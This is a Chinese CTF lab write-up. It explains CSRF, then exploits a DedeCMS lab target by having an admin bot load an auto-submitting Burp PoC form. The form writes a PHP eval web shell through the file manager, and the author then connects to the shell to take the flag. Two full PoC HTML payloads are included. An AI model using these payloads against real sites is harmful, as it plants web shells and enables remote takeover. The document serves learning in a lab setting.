【封神台】前端渗透 CSRF wp

前言

  • 掌控安全里面的靶场前端渗透/CSRF,学习一下!

CSRF跨站请求伪造了解

csrf跨站请求伪造:也被称为“one click attack”或者sessingriding,通常缩写为csrf或者xsrf,是一种对网站的恶意利用。尽管听起来像跨站脚本(xss)但它与xss非常不同,xss利用的是站点内的信任用户,而csrf是通过伪装来自受信任的用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

用户只要不关闭阅览器或者退出登录的时候,如果用户无意间点开了构造好的csrf脚本的链接,可能会用户不想做的事(通过恶意的js代码可以操纵阅览器去发送修改用户信息的数据包给正常的网站)
(因为用户访问正常网站时会产生cookie,,而用户没有关闭或者退出登陆,所以这个cookie还没有失效,所以就会很容易的进入正常网站去修改用户的信息)

构造csrf恶意网站方法

Burp有自己构造csrf poc 的功能,在让用户访问这个构造好的网页

靶场环境

不用下源码,直接用这个测试csrf,poc的作用

织梦管理登陆:http://59.63.200.79:8010/csrf/uploads/dede/login.php

登陆方式:admin admin123

这个织梦网站,是我们提交问题反馈,机器人访问从而getshell的网站

http://59.63.200.79:8010/newcsrf/

问题反馈:http://59.63.200.79:8010/newcsrf/test/

分析,提示是织梦cms,应该是发给管理员访问,然后直接写一句话,因为管理员页面无法访问。

由于找历史源码很麻烦,所以就不本地测试,直接用提供的第一个有账号密码的织梦靶场来测试是否存CSRF

首先登陆之后,进入文件式管理器,写一句话木马抓包看看

image-20210818102059506

发现并没有token,或者验证码等限制,可以利用BURP的POC生成CSRF

image-20210818102229457

创建一个test.html来存储,来测试

image-20210818120547059

image-20210818120627673

打开刚刚新建的test.html,点击submit测试

image-20210818120706491

成功生成shell

image-20210818120740891

但是这种需要我们自己点submit的方式一般没人会点,所以我们调成自动访问,加一个name:aa,然后document.aa.submit()直接提交实现自动提交,无需点击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form name="aa" action="http://59.63.200.79:8010/csrf/uploads/dede/file_manage_control.php" method="POST">
<input type="hidden" name="fmdo" value="edit" />
<input type="hidden" name="backurl" value="" />
<input type="hidden" name="activepath" value="&#47;csrf&#47;uploads&#47;uploads" />
<input type="hidden" name="filename" value="shell&#46;php" />
<input type="hidden" name="str" value="&lt;&#63;php&#32;eval&#40;&#36;&#95;REQUEST&#91;1&#93;&#41;&#59;&#63;&gt;" />
<input type="hidden" name="B1" value="&#32;&#32;&#177;&#163;&#32;&#180;?&#32;&#32;" />
<input type="submit" value="Submit request" />
</form>
<script>
document.aa.submit();
</script>
</body>
</html>

既然测试环境已经成功实现了csrf,我们可以尝试获取一下newcsrf靶场的实战,接着通过目录扫描获取了newcsrf的文件操作目录http://59.63.200.79:8010/newcsrf/dede/file_manage_control.php,将poc中的action改成newcsrf的文件操作目录就可以提交了(注意:上传的一句话木马路径也要改对 name="activepath" value="&#47;newcsrf"

image-20210818124106553

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form name="aa" action="http://59.63.200.79:8010/newcsrf/dede/file_manage_control.php" method="POST">
<input type="hidden" name="fmdo" value="edit" />
<input type="hidden" name="backurl" value="" />
<input type="hidden" name="activepath" value="&#47;newcsrf" />
<input type="hidden" name="filename" value="a&#46;php" />
<input type="hidden" name="str" value="&lt;&#63;php&#32;eval&#40;&#36;&#95;REQUEST&#91;1&#93;&#41;&#59;&#63;&gt;" />
<input type="hidden" name="B1" value="&#32;&#32;&#177;&#163;&#32;&#180;?&#32;&#32;" />
<input type="submit" value="Submit request" />
</form>
<script>
document.aa.submit();
</script>
</body>
</html>

因为我们可能没有公网,所以靶场提供了一个可以上传html的地方,在问题反馈页面

image-20210818121820266

上传刚刚我们得到poc,看看是否存在,记得确认是否存在

image-20210818121848947

确认好了,就可以上传shell到主页了,问题反馈一下,让机器人访问一下

image-20210818123847788

接着我们就可以在我们上传的路径看到shell了

image-20210818123927992

下面基操,蚁剑连接,拿flag

image-20210818124250106

我的个人博客

孤桜懶契:http://gylq.gitee.io

本文标题:【封神台】前端渗透 CSRF wp

文章作者:孤桜懶契

发布时间:2021年08月07日 - 12:00:00

最后更新:2022年05月20日 - 11:47:45

原始链接:https://gylq.gitee.io/posts/99.html

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------------本文结束 感谢您的阅读-------------------